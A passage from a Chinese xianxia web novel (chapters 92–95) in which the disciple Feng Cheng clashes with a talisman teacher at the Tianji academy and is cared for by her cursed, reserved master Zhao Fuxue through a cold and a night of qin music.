封澄哦了一声,心中颇有戚戚,回过头去看了院子一眼:“原来如此,那个……我刚才烧了炭火,仙人快去吧,若晚了,他该把自己冻死了。” 温不戒微微颔首,背着药箱,从封澄身边向院中而去,封澄的脚尖在门口住了住,似乎是想要留下,片刻,还是定了定神,向杏堂中走去了。 她颇有些打不起精神来,一进杏堂,屋中大多书案上已经坐了人,她趁着人多嘈杂,溜进去,寻了后面的书案坐好,放好了书篓。 这堂课好似是节符咒课,进来的大都是身着黄滚边的天机学子,上头的羊胡子老头喋喋不休,刷刷地往外画锁魂符,足足画了十七种画法,封澄心不在焉地四处乱瞟,陡然间,门口吱呀一声。 她抬起眼,一少女背着长刀,款款走进学堂。 她身量比同龄少女高出一些,脸上蒙着玉一般的光泽,走路时抬着下巴,看着颇有几分浑然天成的傲气,细细一看——也不知是不是封澄的错觉,她身上的校服似乎都比旁人亮。 只一眼,封澄已觉得眼熟,再瞄一眼,封澄陡然睁大了眼。 这这这—— “姜徵,今日迟来了。” 姜徵彬彬有礼道:“路遇血修,顺手除了,耽搁些,请盛先生见谅。” 这么一听,盛德林颇为欣慰,他示意姜徵坐下,随即清了清嗓子,杏堂内霎时一片寂静。 封澄无聊地打了个哈欠。 盛德林将手中卷轴一放,停下了第十八种锁魂符的画法,他收起案上朱砂黄纸,转而道:“既然姜姑娘说到血修,那今日,便不讲符咒,顺势讲讲这血修罢——可有人能说一说,这血修是何种修士啊?” 一人高高举手,盛 德林示意人站起来,那人朗朗道:“世人修行,引灵力入体,金木水火土五行相生相克,自成循环。血修不在五行之中,走的是‘食人’道,意为抢夺世人灵力,而归于己用。” 盛德林满意地点了点头,又指了一人,道:“不错,你来说,遇血修,该如何处置。” 那弟子站起来,干脆利落道:“血修虽为邪修,却也是人,不可妄杀,如擒,断其经脉,交由当地天机所,登录在册后再行离去,切莫令血修再行流窜。” 盛德林道:“不错。” 话音未落,角落处忽然传来一声嗤笑。 这声嗤笑在一片寂静的杏堂里分外刺耳,简直到了无法忽略的地步,众人齐齐向嗤笑声的主人看去,盛德林当即脸色一阴,目光沉沉地投在封澄面上。 她懒洋洋地盘着腿,看似乖巧地坐在书案上,谁知连书篓都为打开分毫,桌上一滩黄符画得七扭八歪,称一句鬼画符尚不意外。 盛德林此时此刻才注意到这张分外陌生的脸,他脸色阴沉地盯着封澄,慢慢道:“这位学生,有何不同见解,不若站起来说。” 封澄也不怯,撑着桌子便站了起来;“我有疑问,先生。” 盛德林道;“讲。” “若人与猛兽狭路相逢,可否怜悯其捕食本性,手下留情?” 盛德林更加阴沉:“猛兽非人,不通人性,自然可杀。” 封澄道:“人言不知者无罪,可不通人性的猛兽,吃了人,尚且得杀,那么明知故犯的血修,分明比猛兽更加可恶,为何不能杀?” 盛德林的脸更沉了:“天下自有法条约束,罪名深浅各有定数,你只管将血修交给法理处置,若世人都像你一般随手报了私仇,天底下哪来公理可言!” 封澄干脆利落:“人活着,公理才得谈,人死了,和杀人凶手讲什么公理?” 二人一言一语交锋,早令整个杏堂内一片死寂,众弟子心惊胆战,一会儿眼睛飘向这边,一会儿飘向那边。 盛德林气得发抖,沉声道:“你待如何?” 封澄直言相对,目光中有几分天真的残忍:“但凡血修,我不光要杀,还要他粉身碎骨,剥皮抽筋,以儆效尤。” “杀人者在前,我绝不手软。” 此言一出,堂中大哗,姜徵忍不住偏了偏视线。 盛德林气得几乎昏死过去:“不敬师长,口出狂言,你是哪家的学生,把你父母叫来!” 封澄耸了耸肩,下面有一学生认出封澄面容,凑过去,小心道:“……这是负雪先生新收的弟子。” 盛德林闻言,陡然怔了怔。 赵负雪被叫到杏堂时,人是有些茫然的。 眼下已经是散学的时候,杏堂内空无一人,唯有一个气得脸色铁青的中年男子,还有站在旁边,背着把长剑的小姑娘。 赵负雪目光凝了凝。 盛德林见赵负雪来,猛地站起,先是有些忐忑局促地行了礼,才道:“尊者,今日冒昧相邀,是为您老门下弟子之事。” 赵负雪隐隐看了封澄一眼,确认她全须全尾,连根毛都没掉后,道:“请讲。” 盛德林一开始还小心谨慎,渐渐地,便越说越上火,连带着添油加醋地描述了一番封澄违逆之举,赵负雪耳中嗡嗡,心头却头一次有了如此茫然之时,他不禁看向封澄,少女稚嫩的面容有些闪躲,有些心虚脸红,看着恨不得找根地缝钻进去。 封澄打死了也没想到,她自个十几岁便是家中实打实的顶梁柱,护家走货样样离不得她,现在不过犯了点儿口舌之忌,竟然沦落到被喊家长了! 喊的还是赵负雪! 封澄宁愿天降一道雷轰死她,也不愿带着赵负雪挨先生的训。 盛德林说得激动了,一拍桌子,对赵负雪道:“您是怎么教的孩子!” 话一出口,他便忽觉不对,脸色惨白地住了嘴。 要糟,光顾着是封澄的师尊了,一时情急——这是赵负雪。 这么多年来,胆敢对赵氏家主不敬者,都不必赵负雪动手,坟头草便自行长了三尺高了。 在一片沉默中,赵负雪却垂着眼睛,缓缓开口道:“盛先生费心了,小徒顽劣。” 话中谦卑,像天下所有养了熊孩子的家长一样。 盛德林松了口气,勉强笑了笑,他不动声色地擦了擦额上冷汗:“既然如此,还望尊者多加管教,封姑娘秉性聪慧,乃可教之材,莫要走上歪路才好。” 赵负雪点了点头,随后看向了封澄,道:“过来。” 封澄低眉耸眼地走了过来,赵负雪道:“天色已晚,盛先生早些歇息。” 盛德林忙道一声好,随后看着赵负雪转过身,带着封澄走出了杏堂的大门。 早已等候洒扫的侍者顺势凑过来,与盛德林一同看着二人背影,长长地叹了一口气:“尊者天下盛名,原来碰上孩子的事情,也是这般糟心。” 盛德林忍不住点了点头,随即他反应过来什么,当即虎着一张脸:“只管做好你的洒扫!” 说罢,他甩袖而去,洒扫侍从看着他背影,嘿嘿一笑,接着洒扫去了。 夕阳渐垂,一路沉默,封澄低头走在赵负雪身后,踩着他的影子,小心翼翼错眼望去,只见他目不斜视,向前行去。 想了想,封澄试探地把手搭在了赵负雪的轮椅上。 赵负雪并未回绝,她松了一口气。 “……对不住,仙人。” 赵负雪垂眸,片刻,道:“何事对不起。” 封澄推着他,挠了挠头:“好像让你丢脸了,我没想到你会被叫来。” 赵负雪轻轻地叹了口气,封澄见状,连忙道:“不会有第二次了,我下次一定不丢你的脸。” 谁料倒是赵负雪轻轻摇了摇头,沉默片刻,口中只道一句: “罢了。” 什么罢了?封澄听不懂,正要追问,却听赵负雪道:“回去后,《五行经》第四册,抄录两遍。” 封澄苦了脸,她小声道:“要知道洛京连实话都不能说,就不跟着你来了。” 赵负雪耳聪目明,闻言,嘴角轻轻勾了勾。 “有的事,”赵负雪道,“讲出来,旁人会怕。” “人世间法度伦理,如不可逾之红线,行违逆之举,世人自然心中不安。” 封澄闷闷嗯了一声,却听赵负雪道:“虽然如此,却也不必太在乎世人目光,人有人道,心有心道。” 闻言,封澄猛然抬起头来,似乎是没想到赵负雪会这么说,她眼睛忽然又一亮,随即不满地嚷嚷道:“既然这样,为何我还要抄书啊?!” 夕阳西下,拉得二人身影有些长。 封澄的发丝飘到赵负雪的面前,赵负雪笑了笑,道:“想你近来疏忽这些,只是加些功课。” 封澄:“喂!!”。 第93章 第93章封澄一脸怀疑(前)…… 封澄回到鸣霄室后,照例脱下校服,沐浴过后,换上常服,待她换好衣服出来,恰巧看着赵负雪坐于院中花树下,垂眼解一局棋。 仙人的美貌,即便是夜色昏沉,照旧是亮得吓人。 封澄看得有些直眼,不自觉地走了神,还是赵负雪先唤她一声,封澄才猝然回过神来。 她没好意思正眼瞧他,只掩饰似的坐到了他的对面,看着一桌黑黑白白,猝然花了眼睛。 赵负雪道:“昨日事发突然,可曾骇着了你?” 说的便是赵负雪昨夜又爆了一屋子冰花的事,封澄看着他玉白的手指捏着白子,一时之间竟分辨不出是他的手更像玉石,还是这棋子更像玉石。 “习惯了,我在你这里呆了这些时日,时不时便要顶着一脸霜花起来,久而久之便觉不出什么来了。倒是你,到底什么伤,能把你这仙人逼成这样子?”封澄一边说着,一边好奇不已地捏了捏放在这边的黑棋子。 赵负雪不动声色地抬起眼,看着她好 奇摆弄棋子的模样。 二人身量相差甚多,封澄站着,和赵负雪坐着差不多高,原本棋局旁的矮座便令封澄分外不适起来,封澄撑着下巴,托起腮边一小团软绵绵的肉,坐得不舒服,看着更可怜了。 赵负雪垂了垂眼睛,道:“年少时用了咒,伤身。” 封澄浑然不觉地好奇道:“什么咒,能让你这仙人遭这么大的罪?” 赵负雪垂眸不语。 反咒。 反咒锁住的东西仿佛压不住的野草,都不用风吹,只见些光,便猝然生长。 一生长,便压得周身疼痛,灵力暴走,久而久之,便成沉疴。 过去数年,未见封澄,尚且得以抑制,可数月发作一次,以药镇压便可。 自从把人从长煌大原接来后,这短短数月,已经发作十几次了。 “为何不唤师尊。”他对此绝口不提,只慢慢道。 封澄怔了怔,她有些不自在地错开了视线,手指紧张兮兮地磋磨着手中黑棋:“唤你师尊?” 她有些不愿承认这般称谓,仿佛这么说出口后,有些东西便不可改变了似的。 师尊这称谓,她并不是没见旁人用过。 从前村子旁边的老铁匠,膝下没有孩子,一手好手艺又没人继承,于是从外面领了个小孩子来,手把手地教那孩子手艺,视他为亲儿教养,以期此子为他养老送终。 封澄记得,那小子就是喊老铁匠师傅的,可在旁人看来,和亲爹也没什么区别了。 扪心自问,封澄打心底里不愿把赵负雪当师尊。 封澄强行笑了笑;“占了你这么多便宜,不喊师尊也怪不好意思的,可唤你师尊,我又叫不出口。” 夜色浓浓,有略微的鸟啼声,赵负雪信手一挥,只见四处荧光点点,汇聚成灯,落在了二人身边。 他的眼睛比星火还要瑰丽,静静地看着封澄。 “好吧,”封澄注视着他,还是举手投降道,“师尊。” 这些时日,她也看得明白了。眼前这个仙人哪里是收不到徒儿,没人接他衣钵的?别的不说,光凭他这随手一爆的灵力,还有说赠剑便赠剑的壕无人性,愿做他徒儿的人便不会少。 赵负雪垂眸,并未做出任何反应。 封澄师尊叫了,谁料赵负雪半点反应也不给,于是倍感无聊,把脸搭在石桌边缘上,轻轻滚了滚,索性也不说话了。 她就不信,她一个活生生的人坐在这里,赵负雪能忍得住不和人说话。 而事实证明,他真能。 夜色浓浓,无聊的棋局令封澄昏昏欲睡,到最后,也没等到赵负雪开口一句,也不知是困死了还是被赵负雪的棋声催眠了,反正封澄犟着犟着,便枕着自己的手臂,呼呼大睡去了。 轻微而平稳的呼吸声响在静谧的院落里。 赵负雪停了手,旋即,缓缓地叹了一口气,他垂眸,待确认面前少女沉睡过去后,轻轻地收拾了棋局。 叫出口的刹那,他心底巨石缓缓地松了下去。 可是紧接着,又是一口气提了上来。 反咒封死所有情丝与记忆后,周寻芳将过去之物搜走清除,他向世间苦求她的遗物,所求却一概成空。 人人都道,她已经死去,再也不会回来。 可偏偏他不信。 与这不信偕行的,还有与之同等的深重苦痛。 爱之深处,有苦随行。 “师尊。” 赵负雪笑笑,手指轻轻地触在封澄的发丝上,轻轻地抚了抚。 “是我。” 七情断绝,情意成空,可情爱消失之时,为何偏执与疯狂,却喧嚣着占据心上。 他站起身来,抬手抱起睡得软塌塌的封澄,向她房中走去。 夜风带起他的衣摆,他比小小封澄高出许多去,此时此刻抱着她,和拎着一只不大的猫团子没什么区别。 少女睡得毫无戒备,似乎是突然觉得冷,她像只真的猫团子似的凑到赵负雪胸口,软绵绵地蹭了蹭。柔软的脸颊肉蹭到赵负雪胸膛皮肉上,传来一阵温热。 她的脸上露出一副幸福的笑意。 赵负雪微微一怔,随后哑然失笑,脚步不停,将睡得极为缠人的封澄从胸前撕下来,妥善地安置在了榻上。 即便是知晓面前之人曾是当年爱人,赵负雪也懒得对这半大丫头做出什么逾越之举,他面无表情、毫无芥蒂地把人外裳除去,又团吧团吧把封澄塞进锦被中。 将要离去之际,却听榻上之人抽了抽鼻子。 似乎是有些冷。 赵负雪走回去,伸手摸了摸封澄所盖锦被的厚度,随后皱了皱眉,解下身上大氅,将大氅盖在了封澄的被子之上。 大氅的雪色毛领毛茸茸地团在封澄脸上,看着温暖极了,她察觉到温暖似的,把脸往里面一埋,随即不动了。 赵负雪站在封澄榻边,不知过了多久,终于转身离去。 **** 封澄第二天是被活活热醒的。 她一场乱梦,梦到自己在沸水里被人烤,又梦到一气儿跑了七千里长途,又梦到泰山压顶,压得人喘不过气来。 总归就是,热,烤,重。 待封澄艰难地睁开眼睛,从梦境中挣脱时,眼前的罪魁祸首便可见一斑了。 ——一件熟悉的、厚实的大氅。 封澄热得两眼一抹黑,觉得自己大概要成为天底下头一个被热死的修士了。 她一撸袖子,从衣橱里拎出一件夏日的襦裙便换上,随即抱着赵负雪的大氅,步下生风地冲着他的书房而去了。 一见,赵负雪果然在,他坐于窗前书案旁,见到封澄,一时竟有些意外,目光落在封澄怀里抱着的大氅时,更意外了。 顶着封澄问询的目光,他缓缓合上手中书册,道:“我方吩咐人更换厚些的被褥,屋中尚冷,不妨留下避寒。” 封澄一言不发,凑近两步,单手拉起赵负雪的手,便往她的额上摸。 一摸到赵负雪的手时,封澄是有些意外的。 他的手极冷,极冰,几乎不像人该有的体温。 封澄托起他的手时,赵负雪也怔了怔,而他骨节分明的手指触到封澄额头时,赵负雪却是有些想笑了。 汗津津的。 少女的额头热得像一轮能捧在手上得小太阳,潮湿的汗意也顺着他的手指一路激了过来,赵负雪这时才后知后觉地意识到,封澄只穿着一件单薄的襦裙,肉眼可见地热疯了。 她控诉道:“我是火灵力,即便你日日在屋子里爆冰花,我也是能照睡不误的,你看你爆了这些日子的冰花,我可曾冻死了。” 赵负雪闻言,道:“我从前未照顾过孩子,抱歉。” 封澄一听,莫名觉得孩子这两字分外刺耳,于是偏过头去,别别扭扭地把大氅往赵负雪身上一送,道:“你在做什么,师尊?” 赵负雪接过大氅,放在一旁,道:“批注当年旧账。” 旧账?封澄大为惊奇,不由得凑了过来:“我以为你们仙人都是吃露水喝仙气呢,怎么还要亲自看账本?什么账,神仙账吗?” 就赵负雪这副仙风道骨的样子,她还以为赵负雪在读什么古奥的经书,谁料一问,竟然是过于接地气的账本。 赵负雪噙着些微不可察的笑意,让开了些,封澄得以顺利钻进来,伸头来看这本“神仙账”。 这本账并没有她想象中仙风道骨,反而是十分琐碎的,比如说“三月十七日修房,支用七千青砖”这一类。还有购置灵器,封澄数了数一页账目上购置灵器的耗用,当即瞪圆了眼睛,咂舌不已:“不过三日,光购置灵器,便耗去白银数万,这是谁家的账本?” 少女起床时热得匆忙,连头发也未束一束,赵负雪坐着,只觉得少女头发往手心里扎,见她翻阅账本,便起身,取了一枚木簪来。 封澄正翻着账本长见识,头皮上却传来一道有力的触觉,她有些意外,正要抬头,却被轻轻按住了。 “别动,”赵负雪道,“连发也不束,成何体统。” 封澄闻言,眨了眨眼,随后乖乖地坐在了书案前。 她感觉到一双有些冷 的手穿过了她的发,然后有些生疏地束起来,以一枚木簪穿在了发中。 “账目是赵家的,”赵负雪云淡风轻,“你若好奇,自行去赵家库房,凡其中灵器,可尽情取用。” 如不出意外,照着他的作风,家主令上应当也是有她的,赵负雪垂眸,用木簪子固定了发髻。 封澄摇了摇头:“用不着——话说回来,师尊还会束发?” 赵负雪的手一松,簪子便脱落而下,顺便着漆黑发丝也一并流下。 封澄:“……” 赵负雪很自然道:“从前应当是会的。” 封澄一脸怀疑。 第94章 第94章够她坐在赵负雪对面…… 头皮被柔软的手指按着,封澄莫名被摸得有些想笑,她抬起手来,三下五除二给自己束了发,抬手向赵负雪要发簪,赵负雪把木簪子递给她,看着她插上,对镜子左右看了看,不太满意。 “木簪子不好看,”封澄道,“看着灰扑扑的,好像什么都没戴一样。” 这么说着,她也站起了身,凑近铜镜修整起发髻来,赵负雪垂眸看着她,不作言语。 乌黑的发丝上,一枚沉黑簪子隐隐流光。 他的簪子绾在她的发上。 这种感觉出人意料地令他满足。 天机院学徒虽没有统一规定的早课,而剑修晨起练剑却是通常的习惯。封澄出门的时候,恰巧行经武场,耳尖地听到姜徵拜了另一天机师的消息。 听说也是当世了不得的大能。 又留神听了片刻,封澄才弄明白,原来天机院有内外两院之分,通常学生,未拜入修士门下的,便一同在外院听学,通过考核便为天机师,而拜入院中那几个天机师门下的,便自行于各师门下修行,俗称之为内门。 照这么说,她本该在赵负雪身边修行,可不知什么缘故,赵负雪竟派她去外院修习了。 兴许是她一窍不通的缘故,封澄没放心上,咬了一口苹果,穿着滚黄边的校服,懒洋洋地向杏堂去了。 今日的杏堂格外热闹些,她咬着苹果,初初踏入杏堂大门时,杏堂似乎有一瞬间的寂静。 封澄偏了偏头,寻了一处坐下。 今日依旧是盛德林所授符道,封澄方坐稳,盛德林便夹着一叠符纸走了进来,老头儿站在门口一看,未见到姜徵,眼底流出几分可惜,一转身却拍了桌子,怒道:“外院大比就在近日,诸位却散漫至此!” 一片寂静中,封澄还叼着苹果,正嚓地一声。 盛老头的目光霎时如刀子般射向她,封澄缩了缩脖子,把苹果往后一滚,盛德林却不肯放过她,冷笑道:“封姑娘,你难道以为这外院大比与你无关吗。” 众人的目光微不可察地投向了封澄。 天机院中不乏世家子弟,有几个出名世家的,自有独门家学,可为何还是要千里迢迢地奔向洛京天机院? 原因无他,而是天机院中,每年皆有外院大比。 这是在内院那几个天机师面前刷脸的唯一机会。 盛名在外的天机师自有滔天能量,当世之人难望其项背,能顺利拜入者,仙途可谓一片坦荡。 而其中驻守天机院的赵氏家主,更是众人想也未曾想过的,按理说此人并不归属于天机院门下,也并未开过收徒之先例,前些日子收的封澄到底属不属于内院弟子,尚有一番商榷。 训斥过封澄后,盛德林转头过去,开始滔滔不绝地讲起了无聊透顶的隐匿符。 封澄戳了戳身边姑娘,疑惑道:“外院大比是什么?” 那弟子长了一张圆圆的脸,眼睛也是圆溜溜的杏子眼,她瞧了封澄一眼,目中淡淡:“给外院弟子论资排辈的考核,每年新生惯常要考一次的。考得靠前,升阶入上一档的班,考得出彩,若得了内院长老青眼,拜入内门,便飞黄腾达了。” 封澄若有所思地点了点头,谁料那女子瞥了她一眼,又道:“封姑娘倒是不必担心这些了,虽姑娘仍挂着外院弟子之名,可谁人不知早拜入了负雪先生门下?这大比,于姑娘而言,不过走个流程,考个末名,照旧是仙途一片坦然,自不必像我们这般要死要活。” 封澄:“……” 凭借着她并不怎么敏锐的神经末梢,她觉得这人八成在阴阳她。 封澄道:“外院大比,考什么?” 她道:“武道,医道,擅什么便比什么。” 封澄垂眸思索,谁料那女子又接着道:“不过封姑娘连晨练也不出,想必是要去医道里一争高下了。” “……” “可医修不是在另一课室吗?” “……” “走错了?” 即便是傻子,也该听懂这姑娘的弦外之音了。 长了一副纯良清澈的模样,阴阳起人来却毫不留嘴,封澄嘴角微微一抽,正欲与她分辨,一想到课室规矩,还是忍了。谁料上头盛德林怒喝一声:“陈还,封澄!” 那女子没骨头似的站了起来,懒懒道一声是,盛德林道:“窃窃不绝,这么多话,不如你上来讲!” 陈还闭眼道:“不敢。” 盛德林又把枪口对准封澄:“你来?!” 封澄道:“也不敢。” 盛德林冷笑;“我看你敢得很!封姑娘,出身长煌,行为沾了那边习气不要紧,不通礼仪、狂放不羁也罢,可到了洛京,无论如何,是不是该收收了。” 封澄沉默不语,偏生盛德林又道:“尊者一世清名,你偏要叫世人说他无礼无法,家教无方,教得人目无尊长!” 这么说着,封澄冷冷地抬起头来。 她道:“说我无礼,我自向先生谢罪。带上长煌做什么,又带上我师尊做什么?” 一片寂静的课室里,她直视着盛德林的眼睛,看着老头逐渐变青的脸色:“先生瞧不上我,我也不必在此污了先生的课室,告辞。” *** 在外面无头无脑地晃了半日,封澄迎着落日,走向赵负雪的鸣霄室。 推开院门,只见繁茂花树下,一人独坐,信手抚琴,院中琴声泠泠,令人闻之如入仙界。封澄闷声不吭地把书篓一丢,低头走到赵负雪身边。 赵负雪坐着一蒲团,长长白衣垂在一尘不染的石板地上,墨发散在白衣上,一黑一白,分明得令人挪不开眼。 封澄走到他身边,吸了吸鼻子,原地一坐。 他琴音不停,垂眼道:“怎么。” 少女坐着不过小小一只,此时缩成一团,更是小,她把脸往赵负雪手臂上一埋,闷闷道:“师尊。” 手臂上的触觉令赵负雪住了手,琴音一停,他敛眸,只听封澄接着道:“……我在这里,是不是让你丢人。” 她不是傻子,也不是心思愚钝的憨货,这些日子若有若无的视线从四面八方而来,将她刺得措手不及。 长煌大原的烈风将她磨砺得比最野的狼还要凶狠敏锐,可在这一方天地里,她却不知所措。 在洛京天机院里,她什么都不做,只站在那里,阴刀子似的偏见便扑面而来。 封澄自己当然不在乎这些,她脸皮厚,刀子扎过去不过留一条白印,哪怕陈还那等当面的阴阳怪气也无所谓。 只要不提赵负雪。 她满身污名也无所谓,师尊端坐云端,不该脏了一点儿。 赵负雪垂眸,纵着这小丫头把脸埋在他袖子上,流出一点儿温热的液体。 他微微怔住,脑中霎时一阵针扎似的疼。 “好小,”一片混沌中,赵负雪有些茫然地想道,“原来爱哭吗?” 身体提前一步做出了反应,他的手指本能地抬起,仿佛羽毛似的,生疏地、僵硬地,落在了她的发顶上。 然后试探地摸了摸。 谁知在抚摸封澄头顶的刹那,心头好像是骤然被揪了一下似的,骤然被破出一口巨大的空洞,酸软得不可思议。 ……她在靠着他哭泣。 这个认知令赵负雪的瞳孔都紧缩了起来,竖成一道墨黑的点。 他着了迷一般,顺着她的头发摸了摸,张了张嘴,正欲开口,封澄却顶着他的手,猛地抬起了脸,眨着一双水光潋滟的眼,眼内一片通红,可却无半点儿泪痕。 她抽了抽鼻子:“不行,在外面吹了半天,有些风寒了,师尊,有帕子——” ……没哭? 那方才蹭到他袖子上的,是什么? 赵负雪方才那点儿危险的思绪一荡而空。 反应过来的他额角跳了跳,当即手下没轻没重地拍了封澄的头顶,道:“谁这么说。” 封澄被这一拍拍得头顶一痛,她抱头道:“没有人这么说!我就是问问!” 赵负雪定定看着她,一双眼睛冷冷淡淡, 却仿佛把她从头到脚看了个透:“不要瞒着师尊。” 封澄:“……” 她偏过头,有些不安道:“……我之前不知道你是这么大的修士呢,连带着做你徒弟都战战兢兢的,要是外院大比,我得了末名,丢你的脸怎么办?” 谁料赵负雪低头看着她,半晌,却淡淡笑了。 “不会。” 封澄怔了怔。 赵负雪面色不变:“哪怕是末名,也是我的徒儿。” “尽兴即可。” 她怔怔地抬起脸来,轻风一过,赵负雪身上的冷香气便密不透风地包裹了过来,随即额上便不轻不重地挨了一记,只听赵负雪道:“想三想四,不若用心修炼。明日随我晨起,练剑。” 封澄捂着额头,当即瞪大了眼睛,赵负雪站起身来,道:“长生凶悍,用木剑,自己削。” 他起身欲要离去,谁知封澄方才坐得不防,一屁。股坐着他的衣摆,这一起来,险些把封澄当场掀翻了过去,她哎呦一声摔在地上,看着仙人抱琴远去。 “……” 封澄被摔得尾椎骨生疼,她呲牙咧嘴地摸着屁。股,无意一抬头,却见花树下那两只本来同高的石墩,不知何时,被更换成了一高一矮两只。 她试探地坐到高的那只上。 正正好,够她坐在赵负雪对面。 第95章 第95章琴声 果然在外游荡得不好,封澄一回屋子,方才那点被忽略的头昏脑胀便上来了,她勉强用了晚饭去,便昏昏沉沉地爬上榻去了。 第二日,她便发起了高热。 昏昏沉沉间,她觉得自己头上仿佛被火在烧着,而身上却是一阵一阵地发冷。 而忽然间,有一只手轻轻地抚在了她的额头。 这个温度令她分外舒服,凉凉的,仿佛一块柔软的冰。她感觉到这只手在她头上顿了顿,便撤去了。 “……别。” 本能地,封澄抗拒着这双手的离去,谁料她尚未来得及出口,却又有一阵熟悉的冷香袭来。 温热、微凉的呼吸扑在了她滚热的脸颊上。 即便是在病重,封澄脑中也忽然闪过了一线清明,她瞳孔猛地收缩,猝然睁开眼睛,怔怔地赵负雪冷淡的双目对上。 这是一双瑰丽得足以令人溺毙的眼睛。 在这一瞬间,封澄甚至觉得自己的心脏停跳了,而始作俑者只是低下头,平静地贴了贴她的额头,随即平静地撤了下来,做出了中肯的评价;“有些高热。” 封澄咳了咳,拖着发沉的眼皮,瓮声瓮气道:“……师尊怎么来了。” 赵负雪道;“见你迟迟不起,有些疑惑。” 此时此刻,赵负雪轻轻皱了皱眉,脑中将前几日事情理了理,随即心中微微一懊恼。 凡人体质并不能与修士一概而论,她初初引气入体,又是少年,身体强度自然不能以他的身体而评判,可这丫头来这里短短数日,便生受了他数次灵力暴走之寒。 又加以他昨日冒昧热到了她,受风寒而病倒,简直是必然的。 封澄又咳了咳,喉咙好似有火在烧,忽然间一只手扶在了她的身后,紧接着,唇上便是一润,一股温热的水液滑入她的喉咙,封澄好似枯木逢甘霖似的,就着赵负雪的手便喝了下去。 喝过后,耳边有声音轻轻道:“还要否?” 封澄摇了摇头,赵负雪将她放了下去,道:“我去寻医官。” 说着,赵负雪便起身去,封澄在榻上躺了片刻,便有一女修背着医箱走来,她坐在封澄床边,身上清浅的药香气柔和地抚在封澄面上。 一只柔软的手搭上了她的手腕,封澄听到赵负雪的声音道:“如何。” 女修在她脉上摸了摸,随即抬起头道:“不妨事,只是些风寒。服药歇息两日便罢了。” 她听见赵负雪道了一声好,紧接着有条不紊地吩咐侍从取药煎药,待房中医修与侍从退去后,赵负雪才道:“病中心思不宜过重,可有想吃的?” 封澄摇了摇头,道:“不太有胃口。” 不待赵负雪说话,封澄开口道;“师尊,手能给我吗。” 赵负雪似乎微微怔了怔。 封澄吸了口气,吐了一口热得烧人的气,紧接着不由分说地,把赵负雪的手抓了过来,不待赵负雪反应过来,她便抱着赵负雪的手,安心道:“我从前生病时,阿嬷便这么把手递给我。第二日,我便好起来了。” 赵负雪怔了怔,看着封澄捧着他的手,贴在脸颊上蹭了蹭。 他无机质的眼睛透过封澄道身体,仿佛在隔着她观察着什么一样。 ……作为一个能将他搞得动了反咒的人,她似乎太柔弱、太稚嫩了一些。 一个人即便是成长,本质里的东西也不会改变。 赵负雪沉默半晌,将手缓缓地抽出了些。 正在此时,侍从小心敲了敲门,赵负雪回过神来,命人进来,随即一碗碧澄澄的药便摆在了封澄的面前。 那侍从小心道:“尊者,是不是先将封姑娘唤起来用药?” 她没了赵负雪的手,本身便有些焦躁,此时又被人叫起来,自然是一千个一万个不满意了,挣扎着便不肯吃药。那侍从捧着药碗喂不进去,有些尴尬道:“尊者,你看这……” 赵负雪垂眸,拢了拢她额上湿漉漉的长发,温声道:“为何不肯吃药。” 封澄本能地抗拒着陌生的手:“……不要人喂药。” 侍从尴尬地退了退,赵负雪耐心道:“那便自己起来喝。” 封澄翻了翻,仿佛没听到一样,赵负雪看着她翻来覆去的模样,心中也不觉得像是能自己起来喝要的样子,道:“不起来喝,又不让人喂,你要如何?” 封澄喃喃道:“……要师尊。” 侍从后背寒毛一炸,他不动声色地捧着托盘,竭力将存在感降到最低。 赵负雪垂着眼睛:“为何要师尊。” 封澄迷迷糊糊地闭着眼睛,这一阵儿高热似乎又上来了,赵负雪敛眸,也不打算从一个病鬼嘴里听出什么来了,正要接过药碗喂药,却听见封澄迷迷糊糊地翻出一句话来。 她喃喃道;“……师尊,可真是个,了不得的美人。” “……” 足以杀死人的死寂在室内弥漫。 赵负雪端着碗的手陡然定在了半空,那侍从吞了吞口水,看着恨不得蜷缩成虾米,当场滚了才好。 *** 风寒来得快,去得也快,昏睡了一天一夜后,封澄便生龙活虎地从榻上蹦了起来。 她清醒的时候,是夜间。 洛京的夜色向来是浓黑的,今夜却不太一样,封澄睁开眼睛时,月色照在她的榻前,亮得能读书。 她心中莫名就想,这么亮的晚上,病人大概是睡不安稳的。 仿佛是为了印证这个想法,窗外飘来了隐隐琴声。 “……这么晚了,他怎么还在弹琴。”封澄忽然地想。 鬼使神差地,封澄披衣下榻,赤足踩着屋内质地光滑的地砖,嗒嗒嗒地走向了虚掩的房门。 她不是没有听过赵负雪弹琴,书房内便有琴,封澄苦于《五行经》而昏昏欲睡时,偶尔会趴在赵负雪的书案上睡着。有时一睡便睡得昏迷过去,直从天光未亮睡到日上三竿,嚣张得令人忍无可忍。可赵负雪从不叫她,她朦朦胧胧地睁开眼,只会看见赵负雪坐于琴案旁,信手几下,然后抬头,淡淡道:“醒了?” 长煌大原上 养出能与风霜搏杀的勇士,却未曾养出过能放置下一张琴桌的地方,她擦了擦脸上压出的红印子,一时间看着赵负雪,有些傻傻的,忽然就觉得自己像个野人。 老天,她从未见过这样子的美人。 一推开门,她脸上骤然迎了一股夜风,她被风迷了眼,一睁开,便被眼前之景骇住了。 院中花树与月色中,背对着她,坐着一白衣男子。 他的身旁是瑰丽剔透的、一树一树的霜花,可不知为何,这霜花几乎包裹了整座院子,却未曾侵入到她寝室分毫,似乎在门外三尺之前,便画了一道泾渭分明的圆。 她屏住呼吸,向外走去。 琴音寂寥,孤声独响。 赵负雪似乎是察觉了她的步音,像他这样的修士,如若想知晓数丈内有人走进,是不需要动什么心神的。封澄觉得他的琴音似乎顿了顿,但紧接着,又平静地继续流下去了。 “吵醒你了?” 封澄摇了摇头,道:“好听得很,怎么会吵?” 赵负雪不答,片刻,方道:“回去歇息,地上凉。” 她的脚踩在四溢的寒气上,已经冻得有些通红,这么一说,封澄才反应过来,她抬了抬脚,却没有听赵负雪的话回到屋子里,支支吾吾半晌,她才道: “这几日风寒,实在是麻烦师尊。” 封澄虽然躺在床上,却也不是人事不省,她知道迷迷糊糊间喝下去的药,以及时不时触在额上的手。 赵负雪自己也是个病人,一日间饭都吃不下几口,觉都睡不安生,还操心着要来照顾,封澄瞧着这大美人似乎又是清减了些,心里头别提有多愧疚了。 此时大美人终于停了手,院内一时间静了下来,只有乱风沙沙地过。 他好整以暇地看着封澄,直看得她有些坐立不安,才慢慢地道:“不麻烦,还算老实,不过若是受了寒,再染了风寒,也会麻烦。” 他在外积威已久,哪里会有叫人回屋都要三催四请的时候?偏生封澄还真不听,不光不听,还又走上前来,蹲在他的琴案前,仰着脸道:“先不说这些,我饿了,师尊,明日吃什么?” 赵负雪低头看她。 